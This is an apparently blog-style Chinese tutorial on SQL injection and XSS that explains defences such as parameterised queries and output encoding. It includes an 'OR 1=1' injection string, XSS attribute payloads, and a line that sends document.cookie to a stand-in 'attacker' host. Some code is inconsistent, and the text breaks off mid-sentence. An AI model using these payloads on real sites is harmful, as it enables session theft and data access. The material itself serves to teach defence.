怎 样 确 保 你 网 页 的 安 全?

      怎 样 确 保 你 网 页 的 安 全?无评论

  从技术到安全, 这是一个趋势. 以前追求的是比较炫酷的技术, 等实现过后发现, 自己还能做什么. 炫技完了之后,差不多就该到悟道的时候了. 用户安全, 就是一个很大的禅. 苹果拒绝 FBI, google拒绝 替换 Michelle 图片。 这些都是保障用户安全性的一个重要示范. 而, 网页安全又是一个巨坑, 基本上没有大量的时间和精力投入,你基本上是爬不出来的. 那这个坑有多深呢? 我这里挖了浅浅的一层土, 给大家看看.

  SQL injection

  根据名字, 我们大致可以猜测到. 这个攻击是和sql数据库相关的(关系型数据库).

  系统的解释一下:

  sql 注入: 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结果。 比如: 获取到该db 里面所有的数据,删除数据库数据.(由于, 后台给前台开放的接口通常只是作为查询使用, 所有 获取db 所有数据这类攻击比较常见).

  实例攻击

  这类攻击通常发生在,后台使用动态脚本生成sql query string. 而且, 途中不经过混淆处理. 如下:

  var name = req.query.userName;var pass = req.query.password;sql = “SELECT id FROM users WHERE username='” + uname + “‘ AND password='” + pass + “‘”;database.execute(sql);

  然后,attacker 可以 写入如下的sql query string:

  ”SELECT id FROM users WHERE username=’username’ AND password=’pass’ OR 1=1″;

  即, 将pass写为: pass’+”OR 1=1″+’; 并, 发送给服务端处理.

  额… 结果的话, 你应该懂的

  上面sql injection 只是 一个比较友好的 入侵(这算是良心黑客). 如果, 你的sql statement的操作权限不仅仅只限于查询, 还包括CRUD操作的话. 那么,hacker 能做的就大了去了.

  如果你的接口涉及 修改 . 当hacker, inject 了一段 代码,破坏你的数据的完整性. 这种情况可能造成, 其他查询时,会出现无效查询的结果.(void transaction), 甚至返回别人的数据.

  如果你的接口 涉及 删除 . 那结果我就不多说了.

  另外, 还有一些关于admin 或者 visitor的权限分配。 这也是考察数据库安全性的一个标准.

  SQL 防护

  第一类方法, 算是一个比较笨笨的。 通过一个 blacklists 正则匹配, 检测 query string里面的参数, 将一些可以字符排除掉。

  第二类方法,也是最常用的。 使用数据库自带的一系列函数进行查询. 这个应该不用多说, 数据库自带库的函数 内部 对参数的处理,一定比我们重复造轮子检测正确性高~

  比如, mongoDB 中的插入:

  collection.insertMany([],cb)

  XSS attack

  XSS(Cross-site scripting). 你问我为什么不是CSS? 我也不知道.

  XSS主要是指跨脚本攻击, 其实就相当于执行js脚本. 经常出现在评论回复的逻辑页面中.

怎 样 确 保 你 网 页 的 安 全?

  以及回复:

  怎 样 确 保 你 网 页 的 安 全?XSS 原理

  我们先理解一下, 评论回复的流程.正常情况下:

  用户评论的内容–comment

  异步发送给Server, server 将其存储在数据库中。 成功时, 则返回新加的评论–comment

  此时, 使用

  comment

  将评论渲染出来.

  上面一个流程可以很容易的说明一个道理, 即, 没有对comment 进行任何的处理. 在这种情况下, XSS 简直就是如鱼得水。比如:

  //comment 为: //渲染出来的内容为:

  

  最终渲染到页面上的结果是, p里面的内容为空,控制台输出了123.

  实际上, 评论已经被保存在数据库。 当其他用户访问时,该评论中的script 脚本同样会 发生作用.(可怕ing) 这才是, XSS 攻击最让人头疼的地方.

  下图是基本运作流程图: from acunetix

怎 样 确 保 你 网 页 的 安 全?

  XSS 其实, 不仅仅只有script 这个东西可以使用. 凡是涉及用户输入并且渲染到页面上的,都有可能被XSS。比如:

  模板 实际渲染 < img src=usrInput> < img src=”#” onerror=”alert(‘XSS’)”/> < iframe src=usrInput> < iframe src=”http://xss.html”> < input type=userInput> < input type=”image” src=”#” onerror=”alert(‘XSS’)”/> background插入 background:url(javascript:alert(XSS)); … …

  所以上面就是针对标签属性进行XSS 攻击. 这类方式的防止很好解决。就是使用setAttribute方法进行设置即可.

  XSS 能做什么?

  通过将脚本嵌套在正规页面上, 用户在打开该页面时, 根本无法察觉, 自己已经变成XSS’s victim. 所以, 当用户打开网站时, malicious 脚本便会执行. 该脚本通常能做的事情:

  通过document.cookie 获取用户的cookie信息. 而且,如果你的token 不是放在Server 端,而是放在用户cookie中,那么hacker 就完全获得该用户的信息, 假冒用户进行登录.

  比如: window.location=’http://attacker/?cookie=’+document.cookie

  脚本能够对界面进行修改

  如果页面上有用户输入的私密信息,比如银行账号,密码等。就可以绑定监听, 并通过ajax将信息发送给hacker. (跨域完全可以通过CORS解决)

  使用H5的相关API, 获得用户的人身信息. 比如, 摄像头, 地理位置等. 当然, 用户也不是傻, 不会平白无故的就把确认点了(使用这些API时, 需要获取用户的同意). 但在 social engineering 面前, 这一切都不是事.

  地址的重定向, 这应该不用过多解释. 只要使用 window.location.href 即可.

  prevent XSS attack

  现在,我们已经知道xss的原理,即, 通过嵌入script脚本, 执行恶意的操作. 所以, 最基本的防护可以分为两种:

  验证: 通过验证用户输入的内容, 是否符合规则. 防止hacker插入, 恶意代码.

  Encoding: 其实就相当于字符的转义. 比如: 将'<‘ 转换为: <. ‘>’转换为: >. (防止插入

发表评论